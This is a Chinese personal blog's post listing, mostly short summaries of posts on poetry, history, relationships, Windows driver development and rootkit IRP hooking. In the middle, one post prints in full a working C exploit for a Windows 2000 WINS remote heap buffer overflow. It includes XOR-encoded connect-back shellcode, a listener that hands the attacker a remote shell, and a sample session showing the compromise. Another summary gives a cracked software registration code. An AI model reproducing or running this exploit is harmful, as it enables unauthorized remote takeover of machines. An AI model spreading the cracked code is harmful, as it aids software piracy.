关于作者

用户名:beiyu
笔名:beiyu
地区: 四川-成都
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



友情连接

有用的网站

读书娱乐

我的空间

访问统计:
文章个数:190
评论个数:180
留言条数:16




Powered by BlogDriver 2.1

贝雨的博客

 

欢迎访问beiyu的博客

文章

获取操作系统ip和mac,为的是更加方便简单
摘要:获取操作系统ip和mac,为的是更加方便简单 获得MAC 获取IP 查看全文

- 作者: beiyu 2012年01月27日, 星期五 01:34  回复(0) |  引用(0) 加入博采

Nginx 漏洞利用
摘要:Nginx 漏洞利用,Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器 查看全文

- 作者: beiyu 2010年05月27日, 星期四 09:20  回复(1) |  引用(0) 加入博采

Windows Internet Name Service (WINS) Buffer Overflow
//////////////////////////////////////////////////////////   
/* 
Windows Internet Name Service (WINS) 
Remote Heap Buffer Overflow 
 
 WinsE.exe v1.0, written by beiyu 
 
 WinsE.exe <REMOTE ip> <PORT> <BCIP> <BCPORT> 
 
 test on win2000 tw cn en sp4 and sp0, other not test 
 
 
pubwinse.exe  10.0.0.239 42 10.0.0.111 22222 
# connected 
# Bind port on 10.0.0.111:22222 success 
# send packet 
 ########## SHELL! ########## 
 
Microsoft Windows 2000 [セ 5.00.2195] 
(C) Copyright 1985-1999 Microsoft Corp. 
 
C:\WINNT\system32> 
 
C:\WINNT\system32>ipconfig -all 
ipconfig -all 
 
Windows 2000 IP Configuration 
 
        Host Name . . . . . . . . . . . . : twgroup1-bfhc30 
        Primary DNS Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Hybrid 
        IP Routing Enabled. . . . . . . . : No 
        WINS Proxy Enabled. . . . . . . . : No 
 
Ethernet adapter 跋办硈絬: 
 
        Connection-specific DNS Suffix  . : 
        Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter 
        Physical Address. . . . . . . . . : 00-0C-29-03-84-D2 
        DHCP Enabled. . . . . . . . . . . : No 
        IP Address. . . . . . . . . . . . : 10.0.0.239 
        Subnet Mask . . . . . . . . . . . : 255.0.0.0 
        Default Gateway . . . . . . . . . : 10.0.0.1 
        DNS Servers . . . . . . . . . . . : 10.0.0.1 
 
C:\WINNT\system32>exit 
# Connection closed 
 
 ########## SHELL OVER! ########## 
*/  
////////////////////////////////////////////////////////////   
  
#include <STDIO.H>   
#include <STRING.H>   
#include <IO.H>   
  
#include "winsock2.h"   
#pragma comment(lib, "ws2_32")   
  
//12   
char head [] =  
"\x00\x00\x23\xf8\x29\x00\xff\x23\x05\x39\x1e\xc8";  
  
//   
//   
char addr1[] = "\x68\x22\x39\x05";  
char addr2[] = "\x7c\xf4\x3d\x05";  
  
  
char shellcoode[] =  
"\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x77\x01\x80\x34\x0a\x99\xe2\xfa"  
"\xeb\x05\xe8\xeb\xff\xff\xff" //decode xor 0x99   
"\xcd\x12\x75\x1a\x75\xb1\x12\x6d\x71"  
"\x60\x99\x99\x99\x10\x9f\x66\xaf\xf1\x17\xd7\x97\x75\x71\x9d\x98"  
"\x99\x99\x10\xdf\x9d\x66\xaf\xf1\xeb\x67\x2a\x8f\x71\x6c\x99\x99"  
"\x99\x10\xdf\x91\x66\xaf\xf1\x76\x57\x79\xf9\x71\x7f\x99\x99\x99"  
"\x10\xdf\x95\xf1\xaa\xab\x99\x99\xf1\xee\xea\xab\xc6\xcd\x66\xcf"  
"\x9d\x10\xdf\x89\x66\xef\x89\xf1\x40\x90\x6c\x34\x71\x5c\x99\x99"  
"\x99\x10\xdf\x8d\x66\xef\x89\xf1\x75\x60\x33\xf9\x71\x2c\x99\x99"  
"\x99\x10\xdf\x81\x66\xef\x89\xf1\x7e\xe0\x5f\xe0\x71\x3c\x99\x99"  
"\x99\x10\xdf\x85\x66\xef\x89\xf1\x52\x74\x65\xa2\x71\x0c\x99\x99"  
"\x99\x10\xdf\xb9\x18\x75\x09\x98\x99\x99\xcd\xf1\x98\x98\x99\x99"  
"\x66\xcf\xb9\xc9\xc9\xc9\xc9\xd9\xc9\xd9\xc9\x66\xcf\x8d\x12\x41"  
"\xf1"  
"\x93\x99\x99\xf6" //bcip xor 0x99   
"\xf1\x9b\x99"  
"\xbe\x96" //bcport xor 0x99   
"\x12\x55\xf3\x89\xc8\xca"  
"\x66\xcf\x81\x1c\x59\xec\xda\xf1\xfa\xf4\xfd\x99\x10\xff\xa9\x1a"  
"\x75\xcd\x14\xa5\xbd\xaa\x50\x1a\x58\x8c\x32\x7b\x64\x5f\xdd\xbd"  
"\x89\xdd\x67\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5"  
"\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xf3\x98\xc8\xc8\x66"  
"\xef\xa9\xc8\x66\xcf\x91\xca\x66\xcf\x85\x66\xcf\x95\xcc\xcf\xfd"  
"\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xf1\x91\x12"  
"\x5c\xc7\xc4\x5b\x9d\x99\xca\xcc\xcf\xce\x12\xf5\xbd\x81\x12\xdc"  
"\xa5\x12\xcd\x9c\xe1\x9a\x4c\x12\xd3\x81\x12\xc3\xb9\x9a\x44\x7a"  
"\xab\xd0\x12\xad\x12\x9a\x6c\xaa\x66\x65\xaa\x59\x35\xa3\x5d\xed"  
"\x9e\x58\x56\x94\x9a\x61\x72\x6b\xa2\xe5\xbd\x8d\xec\x78\x12\xc3"  
"\xbd\x9a\x44\xff\x12\x95\xd2\x12\xc3\x85\x9a\x44\x12\x9d\x12\x9a"  
"\x5c\x72\x9b\xaa\x59\x12\x4c\xc6\xc7\xc4\xc2\x5b\x9d\x99\x00";  
  
  
  
  
  
void usage(char* us)  
{  
    printf(" \n");  
    printf("# WinsE.exe v1.0, written by beiyu\n");  
    printf("# WinsE.exe <REMOTE ip> <PORT> <BCIP> <BCPORT> \n");  
    printf("# test on win2000 tw cn en sp4 and sp0, other not test\n\n");  
    return;  
}  
  
void shell (int sock)  
{  
    int     l;  
    char    buf[512];  
    struct  timeval time;  
    unsigned long   ul[2];  
  
    time.tv_sec = 1;  
    time.tv_usec = 0;  
  
    while (1)  
    {  
        ul[0] = 1;  
        ul[1] = sock;  
  
        l = select (0, (fd_set *)&ul, NULL, NULL, &time);  
        if(l == 1)  
        {  
            l = recv (sock, buf, sizeof (buf), 0);  
            if (l <= 0)  
            {  
                printf ("# Connection closed\r\n");  
                return;  
            }  
            l = write (1, buf, l);  
            if (l <= 0)  
            {  
                printf ("# Connection closed\r\n");  
                return;  
            }  
        }  
        else  
        {  
            l = read (0, buf, sizeof (buf));  
            if (l <= 0)  
            {  
                printf("# Connection closed\r\n");  
                return;  
            }  
            l = send(sock, buf, l, 0);  
  
            if (l <= 0)  
            {  
                printf("# Connection closed\r\n");  
                return;  
            }  
            if(memcmp(buf,"exit",4) == 0)  
            {  
                printf("# Connection closed\r\n");  
                return;  
            }  
        }  
    }  
}  
  
  
  
int main(int argc,char *argv[])  
{  
    unsigned long cbip;  
    unsigned short cbport;  
    char ip[128];  
    unsigned short port;  
    WSADATA wsadata;  
    SOCKET s;  
    fd_set mask;  
    struct timeval timeout;  
    struct sockaddr_in server;  
    char* sendpacket;  
    char* addr;  
  
    if (argc!=5)  
    {  
        usage(argv[0]);  
        return -1;  
    }  
    //04045.exe <REMOTE ip> <PORT> <BCIP> <BCPORT>   
  
    if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0)  
    {  
        printf("# wsastartup error\n");  
        return -1;  
    }  
  
    s=socket(AF_INET,SOCK_STREAM,0);  
    if (s==-1)  
    {  
        printf("# socket error\n");       
        return -1;  
    }  
  
    strcpy(ip, argv[1]);  
    port = atoi(argv[2]);  
  
    cbip = inet_addr(argv[3])^0x99999999;  
    cbport = htons(atoi(argv[4]))^(USHORT)0x9999;  
      
    memcpy(&shellcoode[193], &cbip, 4);  
    memcpy(&shellcoode[200], &cbport, 2);  
  
    server.sin_family=AF_INET;  
    server.sin_addr.s_addr=inet_addr(ip);  
    server.sin_port=htons(port);  
  
    connect(s,( struct sockaddr *)&server,sizeof(server));  
    timeout.tv_sec=3;  
    timeout.tv_usec=0;  
    FD_ZERO(&mask);  
    FD_SET(s,&mask);  
  
    switch(select(s+1,NULL,&mask,NULL,&timeout))  
    {  
    case -1:   
        {  
            printf("# select error\n");  
            closesocket(s);  
            return -1;  
        }  
    case 0:   
        {  
            printf("# connection failed\n");  
            closesocket(s);  
            return -1;  
        }  
    default:  
        if(FD_ISSET(s,&mask))  
        {  
            printf("# connected\n");  
  
          
            struct  sockaddr_in sa, client;  
            SOCKET socklisten;  
  
            socklisten=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
            if(socklisten == INVALID_SOCKET)  
            {  
                printf("# Create socket failed:%d\r\n",GetLastError());  
                exit(-1);  
            }  
            sa.sin_family=AF_INET;  
            sa.sin_port=htons(atoi(argv[4]));  
            sa.sin_addr.S_un.S_addr=inet_addr(argv[3]);  
  
            int Reuse;  
            setsockopt(socklisten, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));  
  
            if(bind(socklisten,(LPSOCKADDR)&sa,sizeof(sa))==SOCKET_ERROR)  
            {  
                printf("# Bind port on %s:%d error:%d\r\n", cbip, cbport,GetLastError());  
                closesocket(socklisten);  
            }  
            else  
            {  
                printf("# Bind port on %s:%d success\r\n", argv[3], atoi(argv[4]));  
                listen(socklisten, 1);   
            }  
  
            sendpacket = (char*)malloc(65535);  
            memset(sendpacket, 0, 65535);  
  
            char last[7701] = {0};  
            memset(last,'\x90', 7701);  
  
            /* 
            \x68\x22\x39\x05 * 9  *10  + \x7c\xf4\x3d\x05 * 14 * 10 
            char addr1[] = "\x68\x22\x39\x05"; 
            char addr2[] = "\x7c\xf4\x3d\x05"; 
            */  
            addr = (char*)malloc(1024);  
            memset(addr, 0, 1024);  
              
            char* nop;  
            nop = (char*)malloc(180);  
            memset(nop, '\x90', 180);  
  
            int tt = 0;  
            for(int k = 0; k < 10; k++)  
            {  
                for(int t = 0; t < 9; t++)  
                {  
                    memcpy(addr + tt, addr1, 4);  
                    tt += 4;  
                }  
                for(int j = 0; j < 14; j++)  
                {  
                    memcpy(addr + tt, addr2, 4);  
                    tt += 4;  
                }  
            }  
  
//          printf("tt is %d\n", tt);   
            int sendlen = 0;  
  
            memcpy(sendpacket + sendlen, head, 12);  
            sendlen += 12;  
            memcpy(sendpacket + sendlen, addr, tt);  
            sendlen += tt;  
            memcpy(sendpacket + sendlen, nop, 180);  
            sendlen += 180;  
            memcpy(sendpacket + sendlen, shellcoode, 399);  
            sendlen += 399;  
            memcpy(sendpacket + sendlen, last, 7701);  
            sendlen += 7701;  
      
            printf("# send packet\n");  
            if (send(s,sendpacket,sendlen,0)==-1)  
            {  
                printf("# sending error, the server prolly rebooted.\n");  
                return -1;  
            }  
            Sleep(1000);  
  
//          printf("# get shell\n");   
            int len = sizeof(client);  
            SOCKET sockback = accept(socklisten, (struct sockaddr*)&client, &len);   
            if(sockback != INVALID_SOCKET)   
            {   
    //          printf("# Exploit success! Get the Shell!\r\n");   
                printf(" ########## SHELL! ##########\r\n\r\n");  
                shell(sockback);  
                closesocket(sockback);  
                closesocket(socklisten);  
            }  
  
            closesocket(s);  
            WSACleanup();  
            printf("\r\n ########## SHELL OVER! ##########\r\n");  
            return 0;  
        }  
    }  
    closesocket(s);  
    WSACleanup();  
    return 0;  
}  
  

- 作者: beiyu 2010年04月8日, 星期四 17:49  回复(0) |  引用(0) 加入博采

easy install gcc on solaris

http://dlc.sun.com/osol/docs/content/OSDEV/gentextid-761.html

gcc compilers are available in the pkg.opensolaris.org for downloading and installation. To install the gcc-dev package, type :

$ pkg install gcc-dev

- 作者: beiyu 2010年01月21日, 星期四 17:45  回复(0) |  引用(0) 加入博采

跟exescope笔记
摘要:如A191011126即是一个有效注册码。 查看全文

- 作者: beiyu 2009年12月18日, 星期五 19:16  回复(0) |  引用(0) 加入博采

我那从古至今从小到大就知道的尊老爱幼
摘要:几千年的中国文化沉淀,中国人养成了尊老爱幼的良好风范,这种美好的道德约束在日常生活种指导着国人的行为,与其说它是一种道德风范,不如就说它是中国人的习惯,这种习惯不足以用伟大来形容,因为它超出了人类原始性的范畴,它超出世界其他任何国家的道德行为规范。 查看全文

- 作者: beiyu 2009年02月24日, 星期二 16:58  回复(0) |  引用(0) 加入博采

磁盘扇区数据的读取和写入
摘要:Written by beiyu , beiyuly@gmail.com Read and Write Sectors with sdk function, v1.0 WriteSectors do the job of writing ReadSectors do the job of reading good luck! 查看全文

- 作者: beiyu 2008年08月19日, 星期二 15:58  回复(0) |  引用(0) 加入博采

封QQ的方法总结
摘要:qq登陆方式有三种,tcp登陆,udp登陆,vip登陆(在qq登陆设置可查) 应该说用任何方式登陆都要经过一定的ip和端口进行的,我发现tcp方式登陆的一般都是用以下几个地址和端口:218.18.95.153:80,218.17.209.23:80,可能还有很多ip可以登陆,但我想应该都是通过tcp的80端口登陆的,只要禁止了tcp的80端口就可以禁止tcp方式的登陆了,但大家要注意一个事实,tcp的80端口也是浏览网站的默认端口啊,屏蔽了它是不能上网浏览网页啊,所以只能封登陆的ip地址了。 查看全文

- 作者: beiyu 2008年06月30日, 星期一 21:51  回复(0) |  引用(0) 加入博采

中国朝代变迁详细表
摘要:从夏开始,至今大约四千一百多年。让我们先来宏观的看看在这漫长的四个千年中中国的统一与分裂的线条: 查看全文

- 作者: beiyu 2008年05月14日, 星期三 19:23  回复(0) |  引用(0) 加入博采

男人疼爱女人的12种方式
摘要:1、当你爱着一个女孩子,一定要记得经常对她说:我爱你。不管已经说过多少次,不管是她第几百次问你“你爱我吗?”当她对你说“我爱你”,你都要很真诚地说:我也爱你,不是用其他话或者觉得多余。    2、如果你不爱她了,放了她。不要白白享受着她的照顾和温柔,然后漫不经心地寻找着别的女孩,在找到之后才说我们分手吧,又或者干脆脚踏两只船。     查看全文

- 作者: beiyu 2008年05月6日, 星期二 15:54  回复(0) |  引用(0) 加入博采

网络热门小说《佣兵天下》《新宋》《鬼吹灯》《诛仙》等总汇下载
摘要:网络热门小说《佣兵天下》《新宋》《鬼吹灯》《诛仙》等总汇下载 查看全文

- 作者: beiyu 2008年05月6日, 星期二 15:43  回复(0) |  引用(0) 加入博采

IRP hooking and Device Chains
摘要:IRP hooking is a common rootkit technique. There are two primary ways to get involved with IRPs – hooking function pointers or registering as an attached device (sometimes called a ‘Filter Driver’). 查看全文

- 作者: beiyu 2008年04月15日, 星期二 15:15  回复(0) |  引用(0) 加入博采

经典台词--多语言版本
摘要:曾经有一份真诚的爱情摆在我的面前,我没有珍惜,等到失去的时候才后悔莫及,人世间最痛苦的事莫过于此。 如果上天能够给我一个再来一次的机会,我会对那个女孩说:“我爱你!”如果非要在这份爱加上一个期限,我希望是一万年…… 查看全文

- 作者: beiyu 2008年03月20日, 星期四 21:35  回复(0) |  引用(0) 加入博采

诫子书
摘要:夫君子之行,静以修身,俭以养德。非澹泊无以明志,非宁静无以致远。夫学须静也。才须学也,非学无以广才,非志无以成学。淫漫则不能励精,险躁则不能治性,年与时驰,意与日去。遂成枯落,多不接世,悲守穷庐,将复何及! 查看全文

- 作者: beiyu 2008年03月17日, 星期一 09:47  回复(0) |  引用(0) 加入博采

送给南朝鲜人-中国人在国外BBS上这样羞辱韩国人
摘要:我想请问韩国人,你们除了三星,现代,LG,还有什么? 查看全文

- 作者: beiyu 2008年03月9日, 星期日 22:25  回复(3) |  引用(0) 加入博采

对联精彩
摘要:鸟在笼中,恨关羽不能张飞 人在世上,要八戒更需悟空 查看全文

- 作者: beiyu 2008年02月27日, 星期三 10:55  回复(0) |  引用(0) 加入博采

Windows文件系统过滤驱动开发教程-楚狂人
摘要:第一部分:概述,钻研目的和准备 我经常在网上碰到同行请求开发文件系统驱动。Windows的PC机上以过滤驱动居多。其目的不外乎有以下几种: 查看全文

- 作者: beiyu 2007年12月7日, 星期五 15:53  回复(4) |  引用(0) 加入博采

诛仙词
摘要:予雪琪 暮云尽收溢清寒。影自娟娟,独羡琼楼处。漫舞夜幕散花雨,寒光尽撒凉初透。 残痕欲掩十载苦。血浸素衫,终化幽雪舞。若非情深难自禁,怎会柔转冷如霜。 天琊微怔沾泪迹。柔手纤纤,遥忆牵心时。物是人非月空映,天涯咫尺半惘然。 浅笑了然生死共。低语呢喃,寒花偎依绽。暖意柔情水亦逝,怎管明日惟迹留。 查看全文

- 作者: beiyu 2007年11月23日, 星期五 15:29  回复(0) |  引用(0) 加入博采

中国各省份名字的真正由来
摘要:  【西藏】以清正式定名得名。唐宋为吐蕃;元属宣政院;明称乌思藏,设都司等;清初称卫藏,卫即前藏,藏即后藏;后正式定名为西藏,为西藏得名的开始;清设西藏办事大臣;民国初西藏地方;建国后仍之,后改西藏自治区,区名至今未变。 查看全文

- 作者: beiyu 2007年11月8日, 星期四 14:34  回复(0) |  引用(0) 加入博采

广州!爱你!~容易么!~!!~ ——牢骚一点
摘要:转眼间,又来到了广州,如梦初醒。梦是美好的,就像大多数人以前一样,做过广州这个繁华都市的美梦。而梦有时残酷,它永远不给我们多 查看全文

- 作者: beiyu 2007年11月6日, 星期二 11:11  回复(0) |  引用(0) 加入博采